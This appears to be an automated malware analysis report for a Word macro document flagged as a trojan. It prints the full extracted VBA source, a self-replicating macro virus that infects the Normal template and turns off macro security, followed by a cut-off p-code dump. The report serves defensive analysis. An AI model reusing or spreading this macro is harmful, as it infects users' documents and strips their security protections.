Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 111c536a0eadbae1…

MALICIOUS

Office (OLE)

33.5 KB Created: 2002-05-14 10:04:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 659141243a27e4e744d5602b1da41518 SHA-1: 17444d5be197d736e96d3de18f077dc81a432224 SHA-256: 111c536a0eadbae1702570aaa06459a68e3f513d82ca4ae5cfeff1ad298fdef4
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, specifically a Document_Open macro, which is a common technique for executing malicious code upon opening a document. The macro attempts to disable security features and modify the document's code. The ClamAV detections 'Win.Trojan.Psycho-3' and 'Doc.Trojan.Onex-1' further indicate malicious intent.

Heuristics 3

  • ClamAV: Win.Trojan.Psycho-3 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Psycho-3
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5224 bytes
SHA-256: 23629493e0be954c662a3516ce96c4351cd9093fac007fa98d74d4394f38eacd
Detection
ClamAV: Doc.Trojan.Onex-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Extra"
Attribute VB_Base = "1TemplateProject.Extra"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
 On Error Resume Next
  MsgBox "Íà äèñê íàòÿíóòà çàùèòà îò çàïèñè."
  MsgBox "Òû ñäåëàë ÷òî-òî, ÷åãî ìû íå îæèäàëè. ×åì áû ýòî íè áûëî, äåëàòü ýòîãî íå ñòîèëî. Ïîïðîáóé äðóãîé ïîäõîä. "
 Set c = New DataObject
  If ActiveDocument.VBProject.VBComponents(1).Name <> "Extra" Then
    Set go = ActiveDocument.VBProject.VBComponents(1)
    saveit = True
   ElseIf NormalTemplate.VBProject.VBComponents(1).Name <> "Extra" Then
    Set go = NormalTemplate.VBProject.VBComponents(1)
  End If
  With go
   c.SetText Extra.VBProject.VBComponents(1).CodeModule.lines(1, Extra.VBProject.VBComponents(1).CodeModule.countoflines)
   .CodeModule.deletelines 1, .CodeModule.countoflines
   .CodeModule.insertlines 1, c.GetText
   .Name = "Extra"
  End With
 Options.ConfirmConversions = 0
 Options.SaveNormalPrompt = 0
 Options.VirusProtection = 0
  If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") <> "" Then
     CommandBars("Macro").Controls("Security...").Enabled = 0
     System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&
  End If
 CommandBars("Tools").Controls("Macro").Enabled = 0
  If saveit = True Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument
 End Sub
' mY FIRST VIRUS ! bY 4B4C4F50

' Processing file: /opt/analyzer/scan_staging/9d0acd09b1a8464ca8e67d0a1027f340.bin
' ===============================================================================
' Module streams:
' Macros/VBA/Extra - 3044 bytes
' Line #0:
' 	FuncDefn (Private Sub Document_Open())
' Line #1:
' 	OnError (Resume Next) 
' Line #2:
' 	LitStr 0x0022 "Íà äèñê íàòÿíóòà çàùèòà îò çàïèñè."
' 	ArgsCall MsgBox 0x0001 
' Line #3:
' 	LitStr 0x006A "Òû ñäåëàë ÷òî-òî, ÷åãî ìû íå îæèäàëè. ×åì áû ýòî íè áûëî, äåëàòü ýòîãî íå ñòîèëî. Ïîïðîáóé äðóãîé ïîäõîä. "
' 	ArgsCall MsgBox 0x0001 
' Line #4:
' 	SetStmt 
' 	New <crash>
' 	Set c 
' Line #5:
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	MemLd New 
' 	LitStr 0x0005 "Extra"
' 	Ne 
' 	IfBlock 
' Line #6:
' 	SetStmt 
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	Set GoSub 
' Line #7:
' 	LitVarSpecial (True)
' 	St saveit 
' Line #8:
' 	LitDI2 0x0001 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	MemLd New 
' 	LitStr 0x0005 "Extra"
' 	Ne 
' 	ElseIfBlock 
' Line #9:
' 	SetStmt 
' 	LitDI2 0x0001 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	Set GoSub 
' Line #10:
' 	EndIfBlock 
' Line #11:
' 	StartWithExpr 
' 	Ld GoSub 
' 	With 
' Line #12:
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	Ld Extra 
' 	MemLd VBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	MemLd CodeModule 
' 	MemLd countoflines 
' 	LitDI2 0x0001 
' 	Ld Extra 
' 	MemLd VBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	MemLd CodeModule 
' 	ArgsMemLd lines 0x0002 
' 	Ld c 
' 	ArgsMemCall SetText 0x0001 
' Line #13:
' 	LitDI2 0x0001 
' 	MemLdWith CodeModule 
' 	MemLd countoflines 
' 	MemLdWith CodeModule 
' 	ArgsMemCall deletelines 0x0002 
' Line #14:
' 	LitDI2 0x0001 
' 	Ld c 
' 	MemLd GetText 
' 	MemLdWith CodeModule 
' 	ArgsMemCall insertlines 0x0002 
' Line #15:
' 	LitStr 0x0005 "Extra"
' 	MemStWith New 
' Line #16:
' 	EndWith 
' Line #17:
' 	LitDI2 0x0000 
' 	Ld Options 
' 	MemSt ConfirmConversions 
' Line #18:
' 	LitDI2 0x0000 
' 	Ld Options 
' 	MemSt SaveNormalPrompt 
' Line #19:
' 	LitDI2 0x0000 
' 	Ld Options 
' 	MemSt VirusProtection 
' Line #20:
' 	LitStr 0x0000 ""
' 	LitStr 0x003D "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security"
' 	LitStr 0x0005 "Level"
' 	Ld System 
' 	ArgsMemLd PrivateProfileString 0x0003 
' 	LitStr 0x0000 ""
' 	Ne 
' 	IfBlock 
' Line #2
... (truncated)

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